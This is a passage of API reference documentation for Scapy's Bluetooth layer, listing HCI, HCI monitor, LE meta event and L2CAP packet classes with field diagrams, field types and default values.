7.7.7 Remote Name Request Complete event


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |                    BD ADDR                    |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |  REMOTE NAME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. HCI_Event_Remote_Name_Request_Complete            


HCI_Event_Remote_Name_Request_Complete fields






	status

	ByteEnumField

	0



	bd_addr

	LEMACField

	None



	remote_name

	StrFixedLenField

	b'\x00'















	
class scapy.layers.bluetooth.HCI_Extended_Inquiry_Response(_pkt, /, *, eir_data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1180-L1191]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            EIR DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HCI_Extended_Inquiry_Response                


HCI_Extended_Inquiry_Response fields






	eir_data

	PadField

	[]















	
class scapy.layers.bluetooth.HCI_Hdr(_pkt, /, *, type=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L267-L272]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                           Fig. HCI_Hdr                           


HCI_Hdr fields






	type

	ByteEnumField

	2











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L271-L272]

	




	
payload_guess

	Possible sublayers:
HCI_ACL_Hdr, HCI_Command_Hdr, HCI_Event_Hdr, Raw










	
class scapy.layers.bluetooth.HCI_LE_Meta_Advertising_Report(_pkt, /, *, type=0, atype=0, addr=None, len=None, data=[], rssi=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2077-L2088]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2087-L2088]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     ATYPE     |              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |              DATA             |      RSSI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HCI_LE_Meta_Advertising_Report                


HCI_LE_Meta_Advertising_Report fields






	type

	ByteEnumField

	0



	atype

	ByteEnumField

	0



	addr

	LEMACField

	None



	len

	FieldLenField

	None



	data

	PacketListField

	[]



	rssi

	SignedByteField

	0















	
class scapy.layers.bluetooth.HCI_LE_Meta_Advertising_Reports(_pkt, /, *, len=None, reports=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2091-L2096]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |            REPORTS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HCI_LE_Meta_Advertising_Reports               


HCI_LE_Meta_Advertising_Reports fields






	len

	FieldLenField

	None



	reports

	PacketListField

	[]















	
class scapy.layers.bluetooth.HCI_LE_Meta_Connection_Complete(_pkt, /, *, status=0, handle=0, role=0, patype=0, paddr=None, interval=54, latency=0, supervision=42, clock_latency=5)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2048-L2065]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2060-L2065]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |             HANDLE            |      ROLE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PATYPE    |                     PADDR                     |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |    INTERVAL   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            LATENCY            |  SUPERVISION  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | CLOCK LATENCY |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HCI_LE_Meta_Connection_Complete               


HCI_LE_Meta_Connection_Complete fields






	status

	ByteEnumField

	0



	handle

	LEShortField

	0



	role

	ByteEnumField

	0



	patype

	ByteEnumField

	0



	paddr

	LEMACField

	None



	interval

	LEShortField

	54



	latency

	LEShortField

	0



	supervision

	LEShortField

	42



	clock_latency

	XByteField

	5















	
class scapy.layers.bluetooth.HCI_LE_Meta_Connection_Update_Complete(_pkt, /, *, status=0, handle=0, interval=54, latency=0, timeout=42)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2068-L2074]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |             HANDLE            |    INTERVAL   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            LATENCY            |    TIMEOUT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

           Fig. HCI_LE_Meta_Connection_Update_Complete            


HCI_LE_Meta_Connection_Update_Complete fields






	status

	ByteEnumField

	0



	handle

	LEShortField

	0



	interval

	LEShortField

	54



	latency

	LEShortField

	0



	timeout

	LEShortField

	42















	
class scapy.layers.bluetooth.HCI_LE_Meta_Long_Term_Key_Request(_pkt, /, *, handle=0, rand=None, ediv=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2099-L2103]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |              RAND             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              EDIV             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. HCI_LE_Meta_Long_Term_Key_Request              


HCI_LE_Meta_Long_Term_Key_Request fields






	handle

	LEShortField

	0



	rand

	StrFixedLenField

	None



	ediv

	XLEShortField

	0















	
class scapy.layers.bluetooth.HCI_Mon_Hdr(_pkt, /, *, opcode=None, adapter_id=None, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2322-L2349]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             OPCODE            |           ADAPTER ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. HCI_Mon_Hdr                         


HCI_Mon_Hdr fields






	opcode

	LEShortEnumField

	None



	adapter_id

	LEShortField

	None



	len

	LEShortField

	None











	
payload_guess

	Possible sublayers:
HCI_Command_Hdr, HCI_Event_Hdr, HCI_Mon_Index_Info, HCI_Mon_New_Index, HCI_Mon_System_Note










	
class scapy.layers.bluetooth.HCI_Mon_Index_Info(_pkt, /, *, addr=None, manufacturer=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2382-L2387]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          MANUFACTURER         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. HCI_Mon_Index_Info                      


HCI_Mon_Index_Info fields






	addr

	LEMACField

	None



	manufacturer

	XLEShortField

	None















	
class scapy.layers.bluetooth.HCI_Mon_New_Index(_pkt, /, *, bus=0, type=0, addr=None, devname=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2361-L2379]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      BUS      |      TYPE     |              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DEVNAME                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. HCI_Mon_New_Index                      


HCI_Mon_New_Index fields






	bus

	ByteEnumField

	0



	type

	ByteEnumField

	0



	addr

	LEMACField

	None



	devname

	StrFixedLenField

	None















	
class scapy.layers.bluetooth.HCI_Mon_Pcap_Hdr(_pkt, /, *, adapter_id=None, opcode=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2353-L2358]

	Bases: HCI_Mon_Hdr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ADAPTER ID          |             OPCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. HCI_Mon_Pcap_Hdr                       


HCI_Mon_Pcap_Hdr fields






	adapter_id

	ShortField

	None



	opcode

	ShortField

	None















	
class scapy.layers.bluetooth.HCI_Mon_System_Note(_pkt, /, *, note=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2390-L2394]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              NOTE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. HCI_Mon_System_Note                     


HCI_Mon_System_Note fields






	note

	StrNullField

	None















	
class scapy.layers.bluetooth.HCI_PHDR_Hdr(_pkt, /, *, direction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L87-L89]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DIRECTION                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. HCI_PHDR_Hdr                         


HCI_PHDR_Hdr fields






	direction

	IntField

	0











	
payload_guess

	Possible sublayers:
HCI_Hdr










	
class scapy.layers.bluetooth.L2CAP_CmdHdr(_pkt, /, *, code=8, id=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L301-L347]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L339-L347]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. L2CAP_CmdHdr                         


L2CAP_CmdHdr fields






	code

	ByteEnumField

	8



	id

	ByteField

	0



	len

	LEShortField

	None











	
payload_guess

	Possible sublayers:
L2CAP_CmdRej, L2CAP_ConfReq, L2CAP_ConfResp, L2CAP_ConnReq, L2CAP_ConnResp, L2CAP_Connection_Parameter_Update_Request, L2CAP_Connection_Parameter_Update_Response, L2CAP_Create_Channel_Request, L2CAP_Create_Channel_Response, L2CAP_Credit_Based_Connection_Request, L2CAP_Credit_Based_Connection_Response, L2CAP_Credit_Based_Reconfigure_Request, L2CAP_Credit_Based_Reconfigure_Response, L2CAP_DisconnReq, L2CAP_DisconnResp, L2CAP_EchoReq, L2CAP_EchoResp, L2CAP_Flow_Control_Credit_Ind, L2CAP_InfoReq, L2CAP_InfoResp, L2CAP_LE_Credit_Based_Connection_Request, L2CAP_LE_Credit_Based_Connection_Response, L2CAP_Move_Channel_Confirmation_Request, L2CAP_Move_Channel_Confirmation_Response, L2CAP_Move_Channel_Request, L2CAP_Move_Channel_Response






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L333-L337]

	








	
class scapy.layers.bluetooth.L2CAP_CmdRej(_pkt, /, *, reason=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L385-L388]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             REASON            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. L2CAP_CmdRej                         


L2CAP_CmdRej fields






	reason

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_ConfReq(_pkt, /, *, dcid=0, flags=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L391-L395]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DCID             |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. L2CAP_ConfReq                        


L2CAP_ConfReq fields






	dcid

	LEShortField

	0



	flags

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_ConfResp(_pkt, /, *, scid=0, flags=0, result=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L398-L407]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L405-L407]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SCID             |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RESULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. L2CAP_ConfResp                        


L2CAP_ConfResp fields






	scid

	LEShortField

	0



	flags

	LEShortField

	0



	result

	LEShortEnumField

	0















	
class scapy.layers.bluetooth.L2CAP_ConnReq(_pkt, /, *, psm=0, scid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L350-L369]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PSM              |              SCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. L2CAP_ConnReq                        


L2CAP_ConnReq fields






	psm

	LEShortEnumField

	0



	scid

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_ConnResp(_pkt, /, *, dcid=0, scid=0, result=0, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L372-L382]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L380-L382]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DCID             |              SCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RESULT            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. L2CAP_ConnResp                        


L2CAP_ConnResp fields






	dcid

	LEShortField

	0



	scid

	LEShortField

	0



	result

	LEShortEnumField

	0



	status

	LEShortEnumField

	0















	
class scapy.layers.bluetooth.L2CAP_Connection_Parameter_Update_Request(_pkt, /, *, min_interval=0, max_interval=0, slave_latency=0, timeout_mult=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L524-L529]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MIN INTERVAL         |          MAX INTERVAL         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SLAVE LATENCY         |          TIMEOUT MULT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. L2CAP_Connection_Parameter_Update_Request          


L2CAP_Connection_Parameter_Update_Request fields






	min_interval

	LEShortField

	0



	max_interval

	LEShortField

	0



	slave_latency

	LEShortField

	0



	timeout_mult

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_Connection_Parameter_Update_Response(_pkt, /, *, move_result=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L532-L534]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MOVE RESULT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. L2CAP_Connection_Parameter_Update_Response          


L2CAP_Connection_Parameter_Update_Response fields






	move_result

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_Create_Channel_Request(_pkt, /, *, psm=0, scid=0, controller_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L452-L471]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PSM              |              SCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CONTROLLER ID |
+-+-+-+-+-+-+-+-+

                Fig. L2CAP_Create_Channel_Request                 


L2CAP_Create_Channel_Request fields






	psm

	LEShortEnumField

	0



	scid

	LEShortField

	0



	controller_id

	ByteField

	0















	
class scapy.layers.bluetooth.L2CAP_Create_Channel_Response(_pkt, /, *, dcid=0, scid=0, result=0, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L474-L490]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DCID             |              SCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             RESULT            |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. L2CAP_Create_Channel_Response                


L2CAP_Create_Channel_Response fields






	dcid

	LEShortField

	0



	scid

	LEShortField

	0



	result

	LEShortEnumField

	0



	status

	LEShortEnumField

	0















	
class scapy.layers.bluetooth.L2CAP_Credit_Based_Connection_Request(_pkt, /, *, spsm=0, mtu=0, mps=0, initial_credits=0, scid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L571-L577]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SPSM             |              MTU              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MPS              |        INITIAL CREDITS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. L2CAP_Credit_Based_Connection_Request            


L2CAP_Credit_Based_Connection_Request fields






	spsm

	LEShortField

	0



	mtu

	LEShortField

	0



	mps

	LEShortField

	0



	initial_credits

	LEShortField

	0



	scid

	LEShortField

	0















	
class scapy.layers.bluetooth.L2CAP_Credit_Based_Connection_Response(_pkt, /, *, mtu=0, mps=0, initial_credits=0, result=0, dcid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L580-L597]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MTU              |              MPS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        INITIAL CREDITS        |             RESULT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DCID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. L2CAP_Credit_Based_Connection_Response            


L2CAP_Credit_Based_Connection_Response fields






	mtu

	LEShortField

	0



	mps

	LEShortField

	0



	initial_credits

	LEShortField

	0



	result

	LEShortEnumField

	0



	dcid

	LEShortField

	0















	
